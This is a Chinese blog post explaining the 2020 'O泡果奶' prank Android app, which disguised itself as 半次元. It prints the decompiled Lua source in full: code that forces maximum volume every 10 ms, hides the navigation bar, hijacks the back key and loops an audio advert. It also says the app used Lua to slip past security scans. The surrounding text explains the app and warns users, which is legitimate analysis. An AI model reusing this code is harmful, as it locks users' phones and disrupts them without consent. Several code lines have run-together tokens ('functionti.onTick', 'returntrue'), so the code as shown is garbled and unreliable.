美文网首页
人与人的悲欢并不相通,我只觉得O泡吵闹

人与人的悲欢并不相通,我只觉得O泡吵闹

作者: 程序员求职之路 | 来源:发表于2020-11-09 10:19 被阅读0次

以下文章来源于公众号“程序员求职之路

O泡时间到!

短短5个字开启了今年大学生集体“社会性死亡”的篇章。

一款披着“半次元”logo、打开便自动播放O泡果奶魔性广告、调用手机最大音量且无法关闭的APP在一个月前迅速点燃全网。

一时间各大院校的课堂“充满了快活的空气”。

所谓外行看热闹,内行看门道。

让大学生焦头烂额的粉红色软件在程序员眼里又是什么水准呢?

一般货色!不过如此!

事实上,以专业的眼光看,制作这样一个恶搞软件实在不难。

开发过Android的程序员知道,这其实并没有太多技术含量可言,根据上述的三言两语相信你也能复刻一个出来:

1. 创建一个页面,但是空空如也没有任何内容。

2. 设置代码让程序在极短时间内重复将音量调至最大。要多短?至少是你按不过它的程度吧。

3. 取消返回操作。

4. 隐藏虚拟按键,再次阻断你返回主界面的路径。

5. 最后添加上最恶毒的部分,循环播放O泡果奶的广告。

如果你对此饶有兴致并手撸了一份代码,现在我们就把原软件反编译后的参考答案拿出来供你比较。

-- main.lua --

require("import")

import("android.app.*")

import("android.os.*")

import("android.widget.*")

import("android.view.*")

import("android.view.View")

import("android.content.Context")

import("android.media.MediaPlayer")

import("android.media.AudioManager") -- 音量控制模块import("com.androlua.Ticker") -- Ticker:定时触发器activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC,15, AudioManager.FLAG_SHOW_UI) --音量调大

activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)

m = MediaPlayer() --播放器

m.reset() 

m.setDataSource(activity.getLuaDir() .."/mc.mp3") -- 引用包里的“O泡果奶”

m.prepare()

m.start()

m.setLooping(true)

ti = Ticker() --计时器计时触发

ti.Period =10-- 间隔为10ms

functionti.onTick() -- 设置ticker要触发的函数 activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) -- 和上面一模一样

activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE) -- 隐藏navbar等

end

ti.start() -- 开启ticker,每10ms执行一次上面的函数

functiononKeyDown(A0_0, A1_1) -- 监听按键,不调用外部方法的话就相当于劫持下来了

ifstring.find(tostring(A1_1), "KEYCODE_BACK") ~=nilthen-- 如果按键是返回键

activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) -- 设置音量为最大

end-- 相当于把返回键变成了音量最大键

returntrue

end

作者可能是出于避开安全扫描的考虑采用了Lua脚本而非常规的Java编写程序。

在合计34行的代码中,除去开头一堆import,关键内容在20行左右。

仔细查看内容也能发现其并没有网传的如洪水猛兽般恐怖,真的就是一个恶搞软件。

随着时间推移,这件事到今天也是逐渐淡出人们的视野……

但是!

当你把注意力往更早的地方移时,你会看到一个远比软件恐怖的现象:

历史给网民的教训就是人们从未在历史中吸取过任何教训。

事实上在去年的9月27日,一款叫做“送给最好的TA”的软件已经用同样的手法上演过如出一辙的把戏,甚至在今天对比两款软件的代码都没有太大差别。

那一次的影响更为恶劣,但人们还是在同一个地方跌倒了。

最后引用专业人士的建议作为结尾,希望这次,在对付流氓软件上可以多个心。

1. 不安装来路不明的软件,即使是熟人发来的。

2. 不要root!不要对没有绝对把握的事情盲目自信。常在河边走哪有不湿鞋,确实是话糙理不糙。

3. 克制住自己无处安放的好奇心。

相关文章

  • 人与人的悲欢并不相通,我只觉得O泡吵闹

    以下文章来源于公众号“程序员求职之路” O泡时间到! 短短5个字开启了今年大学生集体“社会性死亡”的篇章。 一款披...

  • 随记

    人类的悲欢并不相通,我只觉得他们吵闹。

  • 2019-12-11

    “人类的悲欢并不相通,我只觉得他们吵闹。”

  • 2017-07-27

    人类的悲欢并不相通,我只觉得他们吵闹 鲁迅

  • 2020-11-26

    人类的悲欢并不相通,我只觉得他们吵闹——鲁迅《而已集》

  • 随记

    文\寻清风 人类的悲欢并不相通,我只觉得它们吵闹。 ...

  • 2019-05-13

    人类的悲欢并不相通,我只觉得他们吵闹。——鲁迅《小杂感》

  • 🙈

    鲁迅先生说过,人类的悲欢并不相通,我只觉得他们吵闹。

  • 闻珏晞:9.19炒黄金亏损蚕食你的资金和思想,让我们迎接无损时代

    鲁迅说:人类的悲欢并不相通,我只觉得他们吵闹。炒黄金也是这样,投资者的亏盈并不相通,他人的亏盈与人何干。放下过去而...

  • 为什么不发朋友圈

    “人类的悲欢并不相通,我只觉得他们吵闹。” —鲁迅《而已集·小杂感》

网友评论

      本文标题:人与人的悲欢并不相通,我只觉得O泡吵闹

      本文链接:https://www.haomeiwen.com/subject/zoqlbktx.html